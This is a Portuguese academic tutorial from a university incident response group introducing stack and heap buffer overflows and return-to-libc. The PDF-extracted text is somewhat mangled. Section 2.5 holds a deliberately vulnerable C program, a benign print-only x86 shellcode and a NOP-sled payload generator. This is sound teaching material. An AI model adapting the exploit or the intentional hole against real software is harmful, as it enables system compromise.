Você está na página 1de 15

Universidade Federal do Rio de Janeiro

Instituto de Matematica
Departamento de Ciencia da Computacao
Grupo de Resposta a Incidentes de Seguranca
Rio de Janeiro, RJ - Brasil

Buffer Overflow
Uma introdu
c
ao te
orica
GRIS-2011-A-001

Raphael Duarte Paiva


Thiago Fonseca Boche(Revis
ao)
Pedro Philippe Costa Rosanes(Revis
ao)

A vers
ao mais recente deste documento pode ser obtida na pagina oficial do GRIS: http:
//www.gris.dcc.ufrj.br.

GRIS - Grupo de Resposta a Incidentes de Seguranca


Av. Brigadeiro Trompowski, s/n
CCMN Bloco F1 - Decania
Cidade Universit
aria - Rio de Janeiro/RJ
CEP: 21949-900
Telefone: +55 (21) 2598-9491

Este documento e Copyright2011 GRIS. Ele pode ser livremente copiado desde que sejam
respeitadas as seguintes condic
oes:
permitido fazer e distribuir c
E
opias inalteradas deste documento, completo ou em partes,
contanto que esta nota de copyright e distribuicao seja mantida em todas as copias, e que a distribuic
ao n
ao tenha fins comerciais. Se este documento for distribudo apenas em parte, instrucoes
vedada a distribuicao de versoes modificadas
de como obte-lo por completo devem ser includas. E
deste documento, bem como a comercializacao de copias, sem a permissao expressa do GRIS.
Embora todos os cuidados tenham sido tomados na preparacao deste documento, o GRIS nao
garante a correc
ao absoluta das informacoes nele contidas, nem se responsabiliza por eventuais
conseq
uencias que possam advir do seu uso.

Ultima
atualizacao em: 6 de setembro de 2011

Sum
ario
1 Os
1.1
1.2
1.3
1.4
1.5

conceitos b
asicos
Um breve historico . . . . . . . . . . . . . . . . . . . . .
Buffer - o que e? . . . . . . . . . . . . . . . . . . . . . .
Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . .
Buffer Overflow - Uma visao geral . . . . . . . . . . . . .
Exploits e tipos de ataques baseados em Buffer Overflow

2 Dissecando
2.1 A estrutura de um programa na memoria . .
2.2 Conhecendo melhor a pilha . . . . . . . . . .
2.3 Buffer Overflow - uma visao mais detalhada
2.4 Tecnicas e ferramentas de Buffer Overflow .
2.4.1 Stack-based Buffer Overflow . . . . .
2.4.2 A estrutura dos Shellcodes . . . . . .
2.5 Como explorar uma vulnerabilidade . . . . .
2.5.1 Conhecendo melhor a heap . . . . . .
2.5.2 Heap-based Buffer Overflow . . . . .
2.5.3 Return-to-libc Attack . . . . . . . . .
3 Agradecimentos(Raphael Duarte Paiva)

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.

.
.
.
.
.
.
.
.
.
.

.
.
.
.
.

2
2
2
3
4
5

.
.
.
.
.
.
.
.
.
.

5
5
6
6
7
7
7
8
11
12
13
13

1
1.1

Os conceitos b
asicos
Um breve hist
orico

Buffer Overflows foram entendidos por volta de 1972, quando o Computer Security Technology Planning Study (documento de planejamento de estudos da USAF)
definiu a tecnica como o seguinte:
Um codigo realizando tal funcao nao checa os enderecos de fonte e destino apropriadamente, permitindo que partes do monitor sejam superpostas pelo usuario.
Isso pode ser usado para injetar codigos no monitor que irao permitir o usuario a
tomar o controle da maquina. (Pagina 61 http://csrc.nist.gov/publications/
history/ande72.pdf).
Hoje em dia, o monitor, poderia ser referido como o kernel.
A documentacao mais antiga de Buffer Overflow data de 1988. Foi uma das
muitas vulnerabilidades exploradas pelo Morris worm para se propagar pela internet.
O programa-alvo foi um servico Unix, chamado finger.
Em 1995, Thomas Lopatic redescobriu sozinho o buffer overflow e publicou seus
achados na lista de emails da Bugtraq. Um ano depois, Elias Levy (Tambem conhecido como Aleph One), publicou na revista Phrack, o artigo Smashing the Stack
for Fun and Profit (Arrasando a Pilha por Diversao e Lucro), uma introducao
passo-a-passo para realizar um stack-based buffer overflow.
Desde entao, pelo menos 2 worms exploraram buffer overflows para comprometer
um n
umero grande de sistemas. Em 2001, o Code Red Worm explorou um buffer
overflow no ISS (Internet Information Services) 5.0 da Microsoft e em 2003, o worm
SQL Slammer colocou em risco maquinas rodando o Microsoft SQL Server 2000.
Ainda em 2003, buffer overflows em jogos licenciados para o vdeo-game Xbox da
Microsoft foram explorados para permitir que softwares nao licenciados rodassem no
console sem a necessidade de modificacoes no hardware, conhecidas por modchips. O
PS2 Independence Exploit tambem usou um buffer overflow para conseguir o mesmo
efeito para o video-game Playstation 2 da Sony.

1.2

Buffer - o que
e?

Em computacao, um buffer e uma regiao temporaria da memoria onde sao guardados dados para serem transportados de um lugar para o outro.
Uma aplicacao freq
uente de um buffer e quando dados sao capturados de um dispositivo de entrada (um teclado ou mouse, por exemplo) e enviados a` um dispositivo
de sada(monitor, impressora).
Exemplo:
Digamos que o usuario esta em uma aplicacao de terminal, onde tudo o que ele
digita, e impresso na tela.

O processo de imprimir o que o usuario digita, simplificadamente, segue um padrao


parecido
com
o
seguinte:

1. O Usuario aperta uma tecla.


2. Um buffer previamente programado para tal fim, armazena o
dado vindo da entrada padrao
(o teclado).
3. O dado contido no buffer e entao copiado para uma variavel
interna do sistema, em seguida,
processado para se tornar legvel a` sada padrao (geralmente usa-se um padrao
de codificacao de caracteres, como a tabela ASCII, por exemplo).
4. O dado e entao, copiado para
a sada padrao e, conseq
uentemente, impresso na tela do terminal.
Buffers tambem sao utilizados em aplicacoes onde a taxa de dados recebidos e
maior do que a taxa em que os dados sao processados, como por exemplo em uma fila
de atendimento: Enquanto um banco, por exemplo, tem 5 terminais de atendimento,
pessoas sao atendidas em grupos de 5. Caso o n
umero de pessoas a serem atendidas
seja maior que cinco, estas que chegaram por u
ltimo formam uma fila enquanto
esperam o termino de um atendimento para serem atendidas. A fila funciona como
um buffer, armazenando as pessoas em um lugar proximo de seu destino, enquanto
ainda nao podem se locomover ate ele.
Em um exemplo muito mais simples, imagine-se em uma sala de aula e que voce
deve copiar o conte
udo do quadro para seu caderno. O procedimento para a maioria
das pessoas seria olhar o quadro, memorizar uma parte do conte
udo e escreve-la
em seu caderno. De fato, sua memoria serviu como um buffer entre a entrada de
informacoes (o quadro) e a sada (seu caderno).
Buffers sao utilizados tanto em Hardware quanto em Software, porem muito mais
utilizados neste ultimo.

1.3

Overflow

O conceito basico de um overflow e um transbordamento, ou seja, um overflow


ocorre quando o volume de determinado objeto ou substancia e maior do que a
capacidade de seu compartimento.
Um rio raso exposto `a chuvas fortes aumenta consideravelmente seu volume de
agua, podendo levar o nvel de agua a ser maior que a altura de suas margens,
fazendo-o transbordar. Este fato caracteriza um overflow (transbordamento), o que
leva a agua do rio se espalhar por locais onde a mesma nao deveria estar naturalmente.
3

Agora que temos consolidados os conceitos de buffer e de overflow, podemos


junta-los para conhecer o conceito de buffer overflow.

1.4

Buffer Overflow - Uma vis


ao geral

O buffer overflow e um erro de programacao que pode resultar em execucao erronea de um programa, acesso indevido `a areas de memoria, terminacao do programa
ou uma possvel falha de seguranca em um sistema.
Tecnicamente falando, um buffer overflow consiste em um processo de armazenar,
em um buffer de tamanho fixo, dados maiores que o seu tamanho.
Exemplo:
Imagine que um programa declara duas estruturas de dados adjacentes na memoria do computador: um vetor de caracteres de 8 bytes, A, e um inteiro de 2 bytes,
B, enche A de zeros e B recebe o n
umero 9, como no seguinte esquema:

Agora imagine o que aconteceria se o programa nos pedisse uma palavra e tentassemos inserir a palavra excessivo dentro de A.
A palavra excessivo tem 9 letras, conseq
uentemente, 10 caracteres, pois um caractere nulo e concatenado ao final para indicar o fim de uma string (vetor de
caracteres). Separando a palavra em caracteres seria algo como: e, x, c, e, s,
s, i, v, o,\0, sendo o \0 o caractere nulo, que consiste em um um byte zerado.
Sabendo que cada caractere ocupa um byte, a string A, entao, tem apenas 8 bytes,
porem estamos inserindo 10 bytes, que e um tamanho maior do que A comporta.
Como no exemplo do rio transbordando, A vai transbordar, caracterizando um
overflow.
Quando ocorre um overflow, areas da memoria adjacentes a` estrutura de dados
a ser preenchida serao ocupados com os dados excedentes. Neste caso, os 8 bytes
de A serao ocupados, e haverao 2 bytes excedentes que serao alocados nos 2 bytes
adjacentes `a A, que e onde reside B, portanto, o valor de B sera sobrescrito com os
2 bytes que A nao suportou, como no seguinte esquema:

B e um inteiro que antes valia 9. Agora, seus 2 bytes estao preenchidos com
os caracteres o e \0. Em sistemas Little-Endian (sistemas em que o byte menos
significativo e o da esquerda), o valor dos bytes de B seriam os correspondentes
binarios `a tabela ASCII do caractere nulo (00000000) e do caractere o (01101111).
Concatenado-os, temos o valor binario de B: 0000000001101111 que equivale ao
decimal 111.
Como o programa em questao tem apenas 10 bytes reservados na memoria, se
tentassemos escrever uma palavra maior ainda, os excedentes teriam de ser alocados em areas de memoria nao reservadas ao programa, resultando numa falha de
segmentacao e, conseq
uentemente, a terminacao do programa.
As conseq
uencias do tipo de erro citado no exemplo acima, podem resultar em
um funcionamento erroneo do programa, pois imagine que B fosse uma variavel em
4

que seria armazenada a idade do usuario e em seguida feito algum processamento


em cima do dado. Uma idade de 111 anos certamente nao levaria a` um resultado
esperado. Logicamente, este e um exemplo simples de um buffer overflow. Erros
deste tipo em projetos maiores podem levar a` bugs desastrosos, horas de trabalho
perdidas para depuracao, alem de falhas de seguranca que levarao ao surgimento de
exploits podendo causar serios transtornos a` todos que usam o programa.

1.5

Exploits e tipos de ataques baseados em Buffer Overflow

Exploits sao pedacos de codigo, seq


uencias de comandos, ou ate mesmo programas que se aproveitam de vulnerabilidades ou bugs em softwares, visando causar
comportamento erroneo, inesperado ou ate mesmo ganhar acesso privilegiado a` um
sistema ou causar ataques de negacao de servico (DoS).
A maioria dos Exploits visa ganhar acesso de nvel de superusuario a` sistemas
ou derrubar os mesmos. Pode-se fazer uso de varios exploits diferentes para galgar
nveis de acesso ate chegar ao superusuario.
Os tipos mais comuns de ataques baseados em buffer overflow sao:
Stack-based buffer overflow
Heap-based buffer overflow
Return-to-libc attack

2
2.1

Dissecando
A estrutura de um programa na mem
oria

Qualquer programa compilado (e isto inclui interpretadores de linguagens) possui


uma forma estruturada em codigo de maquina denotando uma seq
uencia de instrucoes que serao executadas pelo processador. Tal seq
uencia e carregada na memoria
quando um programa e chamado a` execucao.
A estrutura de um programa na memoria se divide em quatro partes: texto,
dados, stack (pilha) e heap.
A regiao do texto contem as instrucoes do programa propriamente ditas e dados somente-leitura.
Essa regiao e geralmente somente-leitura, para evitar
codigos mutaveis. Uma tentativa de escrita nessa area
resulta em uma falha de segmentacao.
A regiao dos dados contem todas as variaveis globais e estaticas do programa.
A regiao de heap serve para a alocacao dinamica
de variaveis, atraves de instrucoes do tipo malloc();
A pilha e a regiao mais interessante para os fins
deste texto. Trata-se de um bloco de memoria onde
sao armazenadas informacoes vitais para subrotinas:
variaveis locais, parametros e os valores de retorno.
5

2.2

Conhecendo melhor a pilha

O conceito de pilha e bastante simples. Uma pilha


adota um padrao conhecido como LIFO (Last In First
Out u
ltimo a entrar, primeiro a sair).
Imagine uma pilha de pratos que devem ser lavados. A pessoa que lavara os pratos, comecara pelo
topo da pilha, que foi o ultimo prato a ser colocado na mesma, porem, sera o dado a
entrar, sera o primeiro a ser tratado em estruturas organizadas por pilhas (stacks).
Na memoria, a pilha consiste de frames que sao
colocados no topo quando uma subrotina e chamada
e retirada da pilha no termino da subrotina.
Um frame geralmente guarda os seguintes dados
sobre a subrotina em ordem da base para o topo:
Espaco para os parametros da subrotina;
O endereco de retorno da subrotina;
Um valor chamado comumente de Frame Pointer;
Espaco para variaveis locais.
Definindo o escopo `a arquiteturas Intel x86 de 32
bits, quando temos chamadas `a subrotinas (funcoes)
em programas, o processador recebe uma instrucao
chamada CALL. Esta instrucao armazena no frame da
respectiva subrotina duas informacoes vitais para o processador: o IP (Instruction
Pointer) e o FP (Frame Pointer), que indicam respectivamente, a posicao de memoria
para onde o processador deve continuar lendo apos o termino da subrotina e um
valor arbitrario para facilitar o trabalho do processador na hora de ler e escrever em
variaveis locais e ler parametros.
O FP ajuda o processador de modo que enderecos lidos dentro do frame que
possuam um valor maior que o endereco do FP e com certeza um parametro e
enderecos lidos dentro do frame que possuam um valor menor que o endereco do FP
e uma variavel local.
A soma do espaco reservado para o buffer desprotegido com o espaco ocupado
pelo FP e chamado de payload space.

2.3

Buffer Overflow - uma vis


ao mais detalhada

Como vimos, podemos utilizar o buffer overflow para reescrever o IP. Ora, se
o IP esta logo apos o espaco para as variaveis locais e o FP, o que aconteceria se
ultrapassassemos este espaco?
Assim como no primeiro exemplo de buffer overflow, imagine que temos um
programa que chama uma subrotina para pedir uma string ao usuario. Se soubermos
o tamanho maximo da string e esta fosse a u
nica variavel da subrotina, poderamos
ultrapassa-lo e reescrever o valor do IP.
6

Digamos que o programa em questao peca o nome de um arquivo em um sistema


Unix. Sabendo que o tamanho maximo do nome de um arquivo em tal sistema e de
256 caracteres, fica facil arquitetar a reescrita do IP, considerando que o programa
nao faz verificacao de tamanho de string e que o esta rodando num sistema desprotegido, basta escrever 264 caracteres para que o IP receba os u
ltimos 4 bytes da
entrada, ou seja, os quatro u
ltimos caracteres, pois o IP guarda um inteiro de 4 bytes
e cada caractere tem 1 byte (utilizando o sistema ASCII), ora, tenho 8 caracteres
excedentes de 1 byte cada, entao o FP tera o valor igual a` concatenacao dos valores
binarios dos 4 primeiros caracteres excedentes e o IP dos 4 u
ltimos.

2.4

T
ecnicas e ferramentas de Buffer Overflow

Agora que sabemos como alterar o IP, como podemos utilizar isso para fins
maliciosos?
2.4.1

Stack-based Buffer Overflow

Como dito em 2.1, o processador le uma serie de instrucoes. Tais que sao referenciadas por bytes. Com este conhecimento, podemos entao ao inves de escrevermos
um nome, poderamos enviar um endereco de memoria onde um codigo previamente
inserido possa ser executado.
O codigo inserido e normalmente chamado de shellcode.
2.4.2

A estrutura dos Shellcodes

Shellcodes sao pedacos de codigo legveis ao processador, ou seja, bytes referentes


a`s instrucoes. Como geralmente shellcodes sao passados como strings, representamos
cada byte por \xNN, onde \ significa que estamos passando um byte (nao um
caractere), x significa que seu valor esta na base hexadecimal e NN e o valor do
byte na base hexadecimal. Vale lembrar que um byte nulo \x00, ou simplesmente
\0 e o caractere terminador de string, entao, como o shellcode consiste de uma
string composta por bytes, nao podemos ter bytes nulos, pois funcoes que trabalham
com strings interpretam um byte nulo como o fim da mesma e terminam o seu
processamento. Obviamente, queremos que nossa string maliciosa seja processada
inteira, portanto, um byte nulo e um problema. Alem do byte nulo, alguns outros
bytes como linefeed(\n, ou \x0A), carriage return(\x0D), etc. podem nos
causar problemas, como quebrar o shellcode em dois ou mais (linefeed), como se
entrassemos com 2 linhas separadas de shellcode.
Podemos resolver estes problemas de varios modos, dependendo da instrucao que
desejamos representar. Torna-se obvia a necessidade do conhecimento da linguagem
de maquina neste caso.
No caso de querermos construir um shellcode que imite uma funcao, como System(), que executa o comando de sistema passado por argumento, devemos seguir
os seguintes passos:
Construir um programa que simplesmente chame a funcao System(), com o
argumento contendo o comando de sistema que desejamos executar.
7

Analisar o seu codigo assembly do programa por meio de um debugger, como


o gdb, por exemplo, conseguindo assim acesso ao codigo assembly da funcao
System.
Pelo proprio gdb, podemos ter acesso aos bytes referentes a cada instrucao
pelo comando
Com os bytes em mao, podemos entao construir o shellcode, concatenado-os em
uma string, tomando os cuidados e adaptacoes necessarias para o shellcode nao
conter bytes especiais.
Assim, com o shellcode pronto, devemos preparar o buffer malicioso para ser
construdo.
Este deve conter:
Dados para encher o buffer ate o incio do shellcode
O shellcode em si.
O valor para reescrever o IP com o endereco do incio do shellcode
Um problema comum de ataques por buffer overflow baseados na pilha e que
nao sabemos exatamente onde e o incio do payload space devido `a aleatoriedade dos
dados na memoria. Para contornar esse problema e comum termos shellcodes bem
menores que o payload space, e, precedidos de bytes NOP (\x90, No Operation), os
quais o processador ignora e pula para a proxima instrucao. Deste modo, temos um
espaco maior para erros na hora de presumir o endereco de retorno. Caso o shellcode
nao comece no endereco escolhido, o processador encontrara NOPS e deslizaraate
o incio do shellcode. Como a diferenca na localizacao geramente e pequena, essa
tecnica pode ser usada para tornar o ataque mais confiavel.
Sequencias muito longas de instrucoes NOP sao facilmente detectadas por sistemas de deteccao de intrusao de rede como o Snort. Atacantes mais sofisticados
usam uma sequencia de instrucoes normais, que nao sejam o NOP mas que nao
interferem na execucao do shellcode, como xor eax, eax.

2.5

Como explorar uma vulnerabilidade

Mostrarei a seguir um codigo que apresenta uma vulnerabilidade que pode ser
explorada usando a tecnica de stack-based buffer overflow e NOP-Sled. O erro
cometido nesse codigo e facilmente percebido: tentamos ler 1024 bytes de um arquivo
em uma variavel que so suporta 8. Com certeza causara um buffer overflow.
#include < s t d l i b . h>
#include <s t d i o . h>
int b o f ( ) {
char b u f f e r [ 8 ] ; / b u f f e r de c a r a c t e r e s de 8 b y t e s /
FILE b a d f i l e ;
/ a b r i n d o o a r q u i v o b a d f i l e para l e i t u r a /
b a d f i l e = f o p e n ( b a d f i l e , r ) ;

/ t e n t a n d o l e r 1024 b y t e s e armazenar em
um b u f f e r de 8 . /
f r e a d ( b u f f e r , s i z e o f ( char ) , 1 0 2 4 , b a d f i l e ) ;
return 1 ;
}
int main ( int argc , char argv ) {
bof ( ) ;
/ Imprimindo uma mensagem .
Em c a s o de o v e r f l o w , nao s e r a e x i b i d a . /
p r i n t f ( Not gonna do i t ! \ n ) ;
return 1 ;
}

Agora que identificamos a vulnerabilidade precisamos de uma forma de explorala. Como o programa le de um arquivo mais bytes do que deve, podemos montar um
arquivo(payload) de forma que ele desvie a execucao para o codigo que queremos
executar(shellcode). Nesse exemplo nosso shellcode so escreve uma frase na tela,
mas a ideia e mostrar que podemos executar um codigo arbitrario e tentar tomar
controle do sistema. Os trechos de codigo a seguir montam o arquivo desejado,
vamos analisar ele passo a passo.
#include < s t d l i b . h>
#include <s t d i o . h>
char s h e l l c o d e [ ] =
\ xeb \ x16
\ x31 \xdb
\ x31 \ xd2
\ x31 \ xc0
\ x59
\xbb\ x01 \ x00 \ x00 \ x00
\ xb2 \ x09
\ xb0 \ x04
\ xcd \ x80
\ xb0 \ x01
\ xcd \ x80
\ xe8 \ xe5 \ x f f \ x f f \ x f f
GOTCHA! \ n ;

/
/
/
/
/
/
/
/
/
/
/
/

jmp s t r i n g /
x o r %EBX, %EBX /
x o r %EDX, %EDX /
x o r %EAX, %EAX /
pop %ECX /
mov $0x1 ,%EBX /
mov $0x9 ,% d l /
mov $0x04 ,% a l /
i n t $0x80 /
mov $0x1 , %a l /
i n t $0x80 /
c a l l code /

Nessa primeira parte fazemos os includes das bibliotecas padrao do C. Logo apos
colocamos o nosso shellcode em uma string. O que cada instrucao faz e como o
shellcode funciona vao alem do nosso escopo nesse artigo, logo, so precisamos saber que esse shellcode imprime a palavra GOTCHA!na tela. Vimos anteriormente
que os shellcodes sao dependentes da plataforma em que vao ser executados. Nosso
shellcode por exemplo, foi desenvolvido para a plataforma Linux.

#define OFFSET 1500


unsigned long get ESP ( void )
{
a s m ( movl %ESP,%EAX ) ;
}
main ( int argc , char argv )
{
unsigned long addr ;
FILE b a d f i l e ;
char b u f f e r [ 1 0 2 4 ] ;
addr = get ESP ( ) + OFFSET;
f p r i n t f ( s t d e r r , Using O f f s e t : 0x%x\ n S h e l l c o d e S i z e :%d\n ,
addr , s i z e o f ( s h e l l c o d e ) ) ;

Agora que temos o nosso shellcode armazenado, precisamos calcular o endereco


em que ele estara na hora da execucao do programa alvo, para podermos desviar. A
funcao get ESP(void) recupera o valor do ESP(Extended Stack Pointer, registrador
que aponta para o topo da pilha) como ja era de se esperar. Como o endereco da
pilha nao muda1 , podemos usar ele para calcular a posicao do shellcode. A pilha
cresce em direcao aos enderecos menores, logo, adicionamos ao endereco do topo
um offset(deslocamento) de 1500 bytes para irmos em direcao a base. Esse valor
e calculado levando em consideracao o tamanho das variaveis que estarao na pilha.
Logo em seguida imprimimos o offset e o shellcode que serao usados.
memset ( &b u f f e r , 0 x90 , 1024 ) ;
/ armazenando o e n d e r e c o do s h e l l c o d e em l i t t l e endian /
b u f f e r [ 1 2 ] = addr & 0 x 0 0 0 0 0 0 f f ;
b u f f e r [ 1 3 ] = ( addr & 0 x 0 0 0 0 f f 0 0 ) >> 8 ;
b u f f e r [ 1 4 ] = ( addr & 0 x 0 0 f f 0 0 0 0 ) >> 1 6 ;
b u f f e r [ 1 5 ] = ( addr & 0 x f f 0 0 0 0 0 0 ) >> 2 4 ;
memcpy ( &b u f f e r [ ( s i z e o f ( b u f f e r ) s i z e o f ( s h e l l c o d e ) ) ] ,
shellcode , sizeof ( shellcode ) ) ;
b a d f i l e = f o p e n ( . / b a d f i l e , w ) ;
f w r i t e ( buffer , 1024 , 1 , b a d f i l e ) ;
fclose ( badfile );
}
1

Nosso exemplo funciona em linuxs com kernel inferior a 2.4.20, porque a partir dessa versao foi
introduzido um recurso que randomiza a localizacao da pilha, onde o ESP muda a cada execucao
impossibilitando o ataque da forma como esta sendo mostrado.

10

O comando memset preenche o nosso buffer com uma sequencia de 1024 NOPs(0x90).
Dessa forma, o buffer vai ficar completamente cheio de NOPs. Logo em seguida armazenamos o endereco do shellcode nas posicoes 12 a 15 do buffer. O endereco tem 4
bytes e e colocado de byte em byte no buffer porque o buffer e de char cujo tamanho
e 1 byte. Para fazer isso, fazemos um and bit a bit do byte menos significativo e
armazenamos na posicao 12, em seguida fazemos o and com o segundo byte menos
significativo e um shift right(deslocamento para direita) para coloca-lo na parte menos significativa e assim por diante ate o quarto byte. Com o comando memcpy,
colocamos o shellcode no fim do buffer. Lembrando que, como o nosso buffer esta
cheio de instrucoes NOPs, nao importa o lugar do buffer para qual a execucao vai
ser desviada, ela vai deslizar pelos NOPs ate o shellcode. Depois so precisamos
escrever o buffer no arquivo e fecha-lo.
Agora que ja temos o arquivo que explora a falha, basta executar o programa
passando o nosso arquivo. Na figura a seguir esta representada a pilha no momento
da execucao do programa vulneravel com o nosso arquivo.

Do lado esquerdo temos a pilha antes do buffer overflow ocorrer, onde os registradores salvos(IP, FP) e os argumentos da funcao estao com seus valores corretos. Do
lado direito o arquivo que criamos anteriormente ja foi lido e sobreescreveu todos os
dados adjacentes ao buffer. Ao analisarmos a pilha percebemos que a variavel buffer
vai do endereco 0x0F0000 ate 0x0F0007 ocupando os 8 bytes declarados. Logo apos,
temos o FP que tem 4 bytes, indo do endereco 0x0F0008 ate 0x0F000B seguido do
IP que tambem tem 4 bytes, indo do endereco 0x0F000C ate 0x0F000F. Por isso
que ao montarmos o payload, colocamos o endereco do shellcode nas posicoes 12 a`
15 do buffer. Os bytes de 0 ate 7 vao ser armazenados na variavel buffer, de 8 ate
11 vao sobreescrever o FP e de 12 ate 15 vao sobreescrever o IP. Logo, quando a
funcao retornar, a execucao sera desviada para o shellcode e nao para a main.[9]
2.5.1

Conhecendo melhor a heap

Geralmente, a memoria dinamica e alocada de uma grande area de memoria livre,


chamada de heap, ou free store. A localizacao de dados na heap nao e prevista pelo
programa, entao dados na heap costumam ser acessados indiretamente, por meio
de referencias. Quando usamos uma funcao da famlia malloc(), estamos alocando
espaco para uma estrutura de dados na heap e retornando o endereco de memoria
em que ela foi alocada. Este endereco e normalmente armazenado em uma variavel
que passa a ser a referencia `aquela estrutura na heap, entao qualquer operacao de
leitura e escrita e feita atraves da referencia, nunca diretamente.
11

O sistema operacional geralmente da ao programa, quando este e carregado na


memoria, uma heap de um tamanho especfico, porem este espaco pode ser modificado em tempo de execucao. Geralmente, neste processo, o kernel divide a heap em
setores menores pela memoria, resultando em fragmentacao e abstraindo esta tarefa
do programador, que por sua vez, nao precisa se preocupar com o tamanho do heap.
Arquivos executaveis tanto PE ou PE32 (Windows), quanto ELF ou ELF32
(Linux) possuem o que chamamos de optional header que, como o nome diz, e um
cabecalho opcional que contem informacoes sobre o quao grande o espaco na heap
e esperado, para uma alocacao mais precisa quando o programa e carregado.
importante ressaltar que o heap cresce na direcao oposta da pilha, ou seja, seu
E
topo cresce em direcao aos enderecos maiores da memoria, enquanto a pilha cresce
em direcao aos enderecos menores da memoria.
Alem do espaco reservado para as estruturas de dados do programa, um bloco
no heap tambem guarda valores usados para a sua administracao, como tamanho do
bloco, espaco utilizado, proximo bloco e bloco anterior. Os valores armazenados sao
dependentes de implementacao. Todo run-time environnement possui o seu proprio
modo de administrar a heap, porem, um programa pode definir o seu proprio modo
de administracao da heap.
Como o espaco na heap e variavel para um programa em execucao, nao ha como
definir limites para este espaco. Entao, nem o kernel, nem o processador sao capazes
de detectar um overflow na heap.
2.5.2

Heap-based Buffer Overflow

Este e um tipo muito mais difcil de ser explorado devido ao fato do alvo ser a
heap. Entre as dificuldades estao:
Na heap, nao existem valores os quais o processador usa para saber qual a
proxima operacao a executar, apenas valores de organizacao do proprio heap.
Devido ao fato do heap crescer em direcao aos valores maiores da memoria e
podermos apenas escrever nesta mesma direcao, nao e possvel reescrever os
valores de controle do bloco atual, apenas dos blocos posteriores.
Como a organizacao da heap pode variar, o atacante precisa saber qual e a
implementacao de heap do programa-alvo.
Para explorar um buffer overflow na heap e necessario encontrar uma vulnerabilidade em alguma funcao interna de administracao da heap, de modo que esta
processe o buffer alvo na heap.
Deste modo:
Precisamos explorar a heap para sobrescrever os valores de administracao de
um bloco alvo e assim inserir o shellcode, construindo um bloco malicioso na
heap.
Os valores de administracao devem ser alterados no bloco de forma que este,
ao ser analisado por uma funcao, como free(), por exemplo, seja processado,
12

diretamente ou por meio de outra funcao, como a unlink(), que e chamada


dentro da free(), por exemplo.
Alem de modificados para ativar uma funcao, os valores de administracao
devem ser reescritos para causar um overflow no frame da funcao que processa
o bloco, para direcionar a execucao do programa para o shellcode inserido.
Outro modo de explorar o heap overflow e estourar o heap ate chegar na pilha e
entao sobrescrever o IP do frame do topo da pilha.
Neste ponto, uma questao importante e conveniente: Por que um shellcode no
heap se precisamos explorar um overflow na pilha tambem?
A resposta pode variar, porem a mais razoavel e a questao do espaco. Funcoes
podem ser vulneraveis e mesmo assim ter uma quantidade tao pequena de buffers
razoavel, neste caso, inserir o shellcode na heap.
que nao suportaria um shellcode. E
2.5.3

Return-to-libc Attack

Uma das defesas para um ataque de buffer overflow baseado em pilha e nao dar
permissao de execucao na pilha. Deste modo, nao e possvel tentar executar um
shellcode na pilha. Existe uma alternativa, que e explorar um codigo que ja existe
nas rotinas do programa. Um codigo que esta em quase qualquer coisa(incluindo
o sistema operacional), sao os codigos da libc, a biblioteca padrao do C. Alem de
estarem presentes na maioria dos sistemas, eles possuem uma posicao estatica na
memoria em um sistema.
O metodo para pular para uma funcao da libc e o mesmo do buffer overflow
baseado em pilha: reescrever o IP com o endereco da funcao desejada. O endereco
de uma funcao da libc pode ser facilmente descoberto, em um ambiente sem protecao
de aleatoriedade nos espacos de endereco, usando um programa de teste que imprima
o endereco da funcao, por exemplo.
Devemos, entao, reescrever o IP com o endereco da funcao desejada, seu endereco
de retorno e entao seus argumentos.

Agradecimentos(Raphael Duarte Paiva)

O primeiro e mais obvio agradecimento vai para minha famlia, sem a qual nao
chegaria onde estou hoje e certamente nao estaria realizando este artigo.
Gostaria de agradecer tambem a todo a equipe GRIS, pelo apoio, camaradagem, ensinamentos, trabalho, compromisso e as muitas risadas que compartilhamos
quando estamos juntos.
Outro agradecimento vai para toda a comunidade online que compartilha conhecimento em otimas fontes de sabedoria.
Finalmente, um agradecimento especial para o amigo e fundador do GRIS, Breno
G. de Oliveira, por sua disposicao em compartilhar seu enorme conhecimento a
qualquer hora e sempre com uma vontade animadora de ajudar.

13

Refer
encias
[1] Smashing The Stack for Fun and Profit - http://insecure.org/stf/
smashstack.html
[2] Buffer Overflow - http://en.wikipedia.org/wiki/Buffer_overflow
[3] Stack buffer overflow - http://en.wikipedia.org/wiki/Stack_buffer_
overflow
[4] Heap Overflow - http://en.wikipedia.org/wiki/Heap_overflow
[5] Return-to-libc attack - http://en.wikipedia.org/wiki/Return-to-libc_
attack
[6] Shellcode - http://en.wikipedia.org/wiki/Shellcode
[7] A
Heap
of
Risk
http://www.heise-online.co.uk/security/
A-Heap-of-Risk--/features/74634
[8] Arc Injection / Return-to-libc - http://www.acm.uiuc.edu/sigmil/talks/
general_exploitation/arc_injection/arc_injection.html
[9] J.C. Foster, V. Osipov, N. Bhalla - Buffer Overflow Attacks: Detect, Exploit,
Prevent.

14

Você também pode gostar